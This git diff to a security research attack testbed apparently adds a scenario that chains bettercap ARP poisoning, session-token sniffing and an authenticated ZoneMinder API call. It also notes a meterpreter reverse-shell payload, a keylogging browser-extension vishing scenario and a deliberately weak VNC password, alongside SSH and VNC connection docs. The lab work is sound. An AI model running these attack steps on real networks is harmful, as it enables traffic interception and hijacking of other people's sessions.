diff --git a/ansible/run/scenario3/templates/scenario_3_b_a.j2 b/ansible/run/scenario3/templates/scenario_3_b_a.j2 index 7d20ca84..66af50a3 100644 --- a/ansible/run/scenario3/templates/scenario_3_b_a.j2 +++ b/ansible/run/scenario3/templates/scenario_3_b_a.j2 @@ -3,9 +3,15 @@ # Scenario 3 b a # #################### - -# for vnc connection to the display, tunnel with : ssh -J aecid@ -L 5901:172.17.100.122:5901 aecid@172.17.100.122 -# then vncviewer localhost:5901 +# VNC access to the reposerver desktop is provided via TightVNC +# (https://github.com/ait-testbed/atb-ansible-tightvnc), which is configured +# with a specific user, display, port, and — intentionally — a weak password +# that is bruteforced as part of this scenario. +# +# To watch the reposerver desktop from your local machine, tunnel the VNC port +# via the management host and connect with a VNC viewer: +# ssh -J aecid@ -L 5901:172.17.100.122:5901 aecid@172.17.100.122 +# vncviewer localhost:5901 vars: $SERVER_ADDRESS: fw.attackbed.com diff --git a/ansible/run/scenario5/files/login.yml b/ansible/run/scenario5/files/login.yml index 680e2c1e..ce7f3ce3 100644 --- a/ansible/run/scenario5/files/login.yml +++ b/ansible/run/scenario5/files/login.yml @@ -31,7 +31,7 @@ commands: - type: sleep seconds: 15 -# press login button + # press login button - type: browser cmd: click selector: "button[type='submit']" @@ -42,7 +42,7 @@ commands: - type: sleep seconds: 15 -# this is only needed when the user logs in for the very first time + # this is only needed when the user logs in for the very first time # press apply button - type: browser cmd: click @@ -53,7 +53,7 @@ commands: - type: sleep seconds: 15 -#from here on run in loop + #from here on run in loop - type: loop cmd: until(3 == 4) commands: diff --git a/ansible/run/scenario5/gather.yml b/ansible/run/scenario5/gather.yml index 27a98cc5..a4d5af6e 100644 --- a/ansible/run/scenario5/gather.yml +++ b/ansible/run/scenario5/gather.yml @@ -36,7 +36,15 @@ - "/etc/sv " - src: /var/ossec/etc/ossec.conf -- hosts: lanturtle + +# NOTE: In scenario 5, the attacker does not use the usual attacker machine +# (192.42.1.174). Instead, the attack is carried out from a LAN Turtle device +# (192.168.100.27) deployed inside the LAN network. +# +# This means the ansible hosts file must be updated to point the 'attacker' host +# to 192.168.100.27 instead of the default 192.42.1.174, otherwise Ansible cannot +# reach the machine and log gathering will fail silently or error out. +- hosts: attacker roles: - kyoushi-gather vars: diff --git a/ansible/run/scenario5/main.yml b/ansible/run/scenario5/main.yml index 17779187..2170fd74 100644 --- a/ansible/run/scenario5/main.yml +++ b/ansible/run/scenario5/main.yml @@ -159,7 +159,29 @@ # become_user: aecid -# to run scenario, deploy, wait 10 minutes, then run first attacker, when get_auth.py is executing then run adminpc login.yml playbook manually - - +# IMPORTANT: Manual triggering required for this scenario. +# +# Execution order: +# 1. Run the deployment playbook and wait approximately 10 minutes for all +# services to initialize. +# 2. Start the attacker playbook (scenario_5.yml) on the attacker machine. +# Bettercap will begin ARP poisoning the network and get_auth.py will +# start listening for a valid ZoneMinder session token. +# 3. Once get_auth.py is running and waiting for a session token, MANUALLY +# trigger the login.yml playbook on adminpc: +# +# attackmate-tmux /home/aecid/login.yml --json +# +# login.yml simulates an authenticated admin user browsing the ZoneMinder +# interface (http://172.17.100.121/zm). It logs in with the admin credentials +# and then loops through several ZoneMinder pages to keep the session alive. +# This active session is intercepted by the attacker via ARP poisoning and +# the session token is extracted by get_auth.py. +# 4. The attacker uses the stolen session token to call the ZoneMinder API +# directly, bypassing authentication entirely. +# +# The login.yml playbook runs headlessly on adminpc and could not be fully automated +# because the timing of the admin login must align with the attacker's sniffing +# window. Triggering it too early (before bettercap is active) means the token +# will not be captured. diff --git a/ansible/run/scenario5/templates/scenario_5.j2 b/ansible/run/scenario5/templates/scenario_5.j2 new file mode 100644 index 00000000..1fb7cebc --- /dev/null +++ b/ansible/run/scenario5/templates/scenario_5.j2 @@ -0,0 +1,76 @@ +#################### +# +# Scenario 5 - AttackMate playbook +# +#################### +# This scenario demonstrates session token hijacking against the ZoneMinder +# video surveillance system running on the videoserver (172.17.100.121). +# +# Attack chain: +# 1. Bettercap performs ARP cache poisoning to position the attacker as a +# man-in-the-middle between the adminpc and the videoserver. +# 2. get_auth.py sniffs the poisoned traffic and extracts the ZoneMinder +# session authentication token from HTTP requests made by the admin user. +# 3. The stolen token is used to call the ZoneMinder API directly, gaining +# full authenticated access without ever knowing the admin password. +# +# PREREQUISITE: The login.yml playbook must be triggered manually on adminpc +# after bettercap is running and get_auth.py is waiting. See the deployment +# playbook scenario5/main.yml comments for the correct execution order. + + +# noinspection YAMLSchemaValidation +vars: + TARGET: 172.17.100.121 + +commands: + # Start bettercap in the background using the provided caplet. + # Bettercap performs ARP cache poisoning so that traffic between adminpc + # and the videoserver is routed through the attacker machine. + - type: shell + cmd: sudo bettercap -caplet /home/aecid/bettercap.cap + background: True + kill_on_exit: False + metadata: + techniques: "T1040,T1557.002 " + tactic: "Discovery,Credential Access" + technique_name: "Network Sniffing,Adversary-in-the-Middle: ARP Cache Poisoning " + + + # Sniff the intercepted HTTP traffic and extract the ZoneMinder auth token. + # This script blocks until a valid token is found in the traffic stream. + # THIS is the moment to manually trigger login.yml on adminpc if not already done. + - type: shell + cmd: sudo /usr/local/share/attackmate/venv/bin/python3 /home/aecid/get_auth.py + metadata: + techniques: "T1040,T1528" + tactic: "Credential Access" + technique_name: "Network Sniffing for Credential/Session Token Extraction, Steal Application Access Token" + + # Store the captured auth token from the previous command's stdout into $AUTH. + - type: setvar + cmd: $RESULT_STDOUT + variable: AUTH + + - type: debug + cmd: $AUTH + + # Bettercap is no longer needed once the token is captured — terminate it. + - type: shell + cmd: sudo pkill -9 -f "bettercap -caplet bettercap.cap" + + - type: sleep + seconds: 5 + + # Use the stolen session token to call the ZoneMinder API as the authenticated + # admin user. + - type: http-client + cmd: GET + url: http://$TARGET/zm/api/monitors.json?auth=$AUTH + metadata: + techniques: "T1550.001" + tactic: "Defense Evasion, Lateral Movement" + technique_name: "Use Alternate Authentication Material: Application Access Token" + + + \ No newline at end of file diff --git a/ansible/run/scenario6/templates/scenario_6_c.j2 b/ansible/run/scenario6/templates/scenario_6_c.j2 index cb0a680d..d62697f3 100644 --- a/ansible/run/scenario6/templates/scenario_6_c.j2 +++ b/ansible/run/scenario6/templates/scenario_6_c.j2 @@ -1,4 +1,18 @@ -# Client installs a malicious browser plugin that extracts keystrokes, content pasted into browser from clipboard and form submissions +# Client installs a malicious browser plugin that extracts keystrokes, +# content pasted into browser from clipboard and form submissions + +# IMPORTANT: The VNC commands in this playbook that interact with the client machine +# do NOT represent actions initiated by the attacker. Instead, they SIMULATE actions +# performed by the client user (judy). This models a social engineering attack: +# the attacker, posing as tech support (telephone phishing / vishing), manipulates +# the client into performing actions on their own machine — such as installing a +# browser extension. The attacker merely guides the victim's behavior remotely. + +# The SSH tunnel used for VNC in the session: social_engineering +# is routed via the management host (mgmt) rather than +# through the normal network path. As a result, this traffic bypasses the firewall +# and does NOT appear in firewall logs, reflecting a realistic out-of-band access +# path available to a privileged insider. vars: PAYLOAD: linux/x64/meterpreter/reverse_tcp diff --git a/docs/images/AttackBed-Lanturtle.drawio b/docs/images/AttackBed-Lanturtle.drawio index c590ca24..233c587f 100644 --- a/docs/images/AttackBed-Lanturtle.drawio +++ b/docs/images/AttackBed-Lanturtle.drawio @@ -1,151 +1,139 @@ - + - + - - + + - + - + - - + + - + - + - + - + - + - - + + - + - + - + - - + + - + - + - - + + - - + + - - + + - - + + - - + + - - + + - - + + - - + + - - + + - + - - + + - - + + - - + + - - + + - - + + - - + + - - + + - - + + - - + + - - + + - - + + - - + + - - + + - - + + - - - - - - - - - - - - - - + + diff --git a/docs/images/AttackBed-Lanturtle.drawio.png b/docs/images/AttackBed-Lanturtle.drawio.png new file mode 100644 index 00000000..2269ee46 Binary files /dev/null and b/docs/images/AttackBed-Lanturtle.drawio.png differ diff --git a/docs/source/development/connection.rst b/docs/source/development/connection.rst new file mode 100644 index 00000000..320992dc --- /dev/null +++ b/docs/source/development/connection.rst @@ -0,0 +1,289 @@ +========================= +Connecting to Virtual Machines +========================= + +All virtual machines in the attackbed are deployed on OpenStack/OVH and are not directly reachable +from the internet. Access is facilitated through a dedicated **management host** (``mgmt``), which +has *network interfaces in all attackbed networks* and is the only machine with a public IP address. +(This is the floating IP you have allocated to the OpenStack/OVH project previously and named ``mgmt``, +which can then be used by terraform on deployment.) +The management host serves as a jump host for all other machines. + +All machines are configured with the **testbed key** during deployment, and the Linux user is +always ``aecid``. + +Direct Access to the Management Host +===================================== + +:: + + ssh -i aecid@ + +Accessing Other Machines via Jump Host +======================================= + +To reach any other machine directly from your local system, use the ``-J`` (ProxyJump) flag: + +:: + + ssh -i -J aecid@ aecid@ + +For example, to connect to the ``attacker`` machine: + +:: + + ssh -i -J aecid@ aecid@192.42.1.174 + + +SSH Config for Convenient Access +================================== + +To avoid typing jump host arguments every time, add the following block to your ``~/.ssh/config``. +Replace ```` and ```` with the actual values for your project (see +replacement commands below). + +:: + + Host mgmt + HostName + User aecid + IdentityFile + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + + Host attacker + HostName 192.42.1.174 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + + Host lanturtle + HostName 192.168.100.27 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + + Host reposerver + HostName 172.17.100.122 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + + # used in videoserver scenario + Host adminpc1 + HostName 10.12.0.222 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + + # used in lateral movement scenario + Host adminpc2 + HostName 10.12.0.223 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + + Host inetfw + HostName 172.17.100.254 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + + Host inetdns + HostName 192.42.2.2 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + + Host client + HostName 192.168.50.100 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + + Host linuxshare + HostName 192.168.100.23 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + + Host videoserver + HostName 172.17.100.121 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + + Host corpdns + HostName 192.42.0.233 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + + Host wazuh + HostName 192.168.100.130 + User aecid + IdentityFile + ProxyJump mgmt + StrictHostKeyChecking no + UserKnownHostsFile /dev/null + +Replacing Placeholders with Actual Values +------------------------------------------ + +After copying the config, run the following two commands to substitute the placeholders with the +real management host IP and path to your testbed key: + +:: + + sed -i 's//YOUR.MGMT.IP.HERE/g' ~/.ssh/config + sed -i 's||/path/to/your/testbed-key|g' ~/.ssh/config + +Replace ``YOUR.MGMT.IP.HERE`` with the actual public IP assigned to ``mgmt`` in your project, and +``/path/to/your/testbed-key`` with the actual path to your private key file (e.g. ``~/.ssh/testbed``). + +Usage +------ + +Once the config is in place, you can connect to any machine by name: + +:: + + ssh mgmt + ssh attacker + ssh wazuh + + +Accessing Web Interfaces via SOCKS Proxy +========================================= + +Some machines in the attackbed expose web interfaces that are only reachable within the attackbed +networks. To access these from a local browser without exposing them to the internet, SSH can +be used to create a **SOCKS proxy** tunnel. A SOCKS proxy instructs your browser to route all +its traffic through the SSH connection, making your browser effectively appear to be running +inside the attackbed network. + +The following example shows how to access the **ZoneMinder** video surveillance interface on +``videoserver`` (``172.17.100.121``). + +Setting up the Tunnel +---------------------- + +Assuming the SSH config from the previous section is in place, run: + +:: + + ssh -N -D 127.0.0.1:1080 videoserver + +The ``-D`` flag opens a local SOCKS proxy on port ``1080``, and ``-N`` tells SSH not to execute +a remote command; the connection exists solely to forward traffic. The jump through ``mgmt`` +happens automatically as configured in ~/.ssh/config. + +Configuring Firefox +-------------------- + +Open Firefox's proxy settings via **Settings → General → Network Settings → Settings...** and +configure it as shown below: + +- Select **Manual proxy configuration** +- Leave HTTP Proxy and HTTPS Proxy empty +- Set **SOCKS Host** to ``127.0.0.1`` and **Port** to ``1080`` +- Select **SOCKS v5** +- Check **Proxy DNS when using SOCKS v5** + +.. figure:: ../../images/proxy.png + :alt: Firefox SOCKS proxy configuration + + Firefox connection settings configured to use the SSH SOCKS proxy on localhost port 1080. + +Accessing ZoneMinder +--------------------- + +With the tunnel running and the proxy configured, open the following URL in Firefox: + +:: + + http://172.17.100.121/zm/ + +You will be presented with the ZoneMinder login interface: + +.. figure:: ../../images/zoneminder.png + :alt: ZoneMinder login interface + + The ZoneMinder web interface on the videoserver, accessed through the SOCKS proxy tunnel. + + +Accessing Desktop Environments via VNC +======================================= + +Some machines in the attackbed have a MATE desktop environment and noVNC installed, providing a +full graphical interface. This is particularly relevant in client-side attack scenarios, where +the attacker connects to the ``client`` machine using screen sharing software, allowing you to +watch or debug the attack in real time directly from your local machine. + +The noVNC role used during deployment can be found at +``_. By default, VNC is exposed on port +``5900``. + +Tunneling the VNC Connection +----------------------------- + +Since the machines are not directly reachable from the internet, the VNC port must be forwarded +through the management host using SSH port forwarding. The following example tunnels the VNC +port of the ``attacker`` machine to your local machine: + +:: + + ssh -L 5900:192.42.1.174:5900 -J aecid@ aecid@192.42.1.174 + +The ``-L`` flag maps port ``5900`` on your local machine to port ``5900`` on the remote target, +routed through the ``mgmt`` jump host. Keep this SSH session open while using the VNC viewer. + +Connecting with a VNC Viewer +----------------------------- + +With the tunnel running, open your VNC viewer and connect to: + +:: + + vncviewer localhost:5900 + +You will see the live desktop of the target machine and can observe or debug the ongoing attack +in real time. + +.. note:: + + Some machines use a different VNC setup based on the TightVNC role at + ``_ — for example the ``reposerver``. + This role allows configuring a specific user, password, port, and display number during + deployment. In scenario 3, the VNC password is deliberately set to a weak value that gets + bruteforced as part of the attack. When connecting to such a machine, ``vncviewer`` will + prompt for the configured credentials: + + :: + + vncviewer localhost: + + Enter the VNC username and password as configured in the deployment when prompted. Adjust + the port in the ``-L`` tunnel command accordingly if a non-default port was chosen. \ No newline at end of file diff --git a/docs/source/index.rst b/docs/source/index.rst index c15ef9a0..ce31f702 100644 --- a/docs/source/index.rst +++ b/docs/source/index.rst @@ -53,3 +53,4 @@ AttackBed Documentation development/attacker development/firewall development/dns + development/connection diff --git a/docs/source/installation/logpipeline.rst b/docs/source/installation/logpipeline.rst index 3bd0d790..8d6c9da6 100644 --- a/docs/source/installation/logpipeline.rst +++ b/docs/source/installation/logpipeline.rst @@ -9,8 +9,9 @@ the AttackBed infrastructure. The pipeline enables aggregation and retrieval of .. note:: - The usage of the log pipeline is optional to collect additional real-time log data. - However, the scenarios can be run without the setup of the log pipeline. + The log pipeline is optional and only required if *real-time log collection* is needed. + Scenarios can be run without it, with logs collected post-execution via the gather.yml + script and the `atb-kyoushi-gather role `_ Architecture diff --git a/terragrunt/logging/module/kafka_variables.tf b/terragrunt/logging/module/kafka_variables.tf index 21fd10df..5be923ed 100644 --- a/terragrunt/logging/module/kafka_variables.tf +++ b/terragrunt/logging/module/kafka_variables.tf @@ -6,7 +6,7 @@ variable "kafka_image" { variable "kafka_flavor" { type = string description = "flavor of the kafka host" - default = "m1.large" + default = "d2-8" } variable "kafka_userdata" { diff --git a/terragrunt/logging/module/logstash_variables.tf b/terragrunt/logging/module/logstash_variables.tf index f7990047..122f5932 100644 --- a/terragrunt/logging/module/logstash_variables.tf +++ b/terragrunt/logging/module/logstash_variables.tf @@ -6,7 +6,7 @@ variable "logstash_image" { variable "logstash_flavor" { type = string description = "flavor of the logstash host" - default = "m1.large" + default = "d2-8" } variable "logstash_userdata" { diff --git a/terragrunt/logging/module/opensearch_variables.tf b/terragrunt/logging/module/opensearch_variables.tf index 95fc8394..78621f14 100644 --- a/terragrunt/logging/module/opensearch_variables.tf +++ b/terragrunt/logging/module/opensearch_variables.tf @@ -6,7 +6,7 @@ variable "opensearch_image" { variable "opensearch_flavor" { type = string description = "flavor of the opensearch host" - default = "m1.large" + default = "d2-8" } variable "opensearch_userdata" {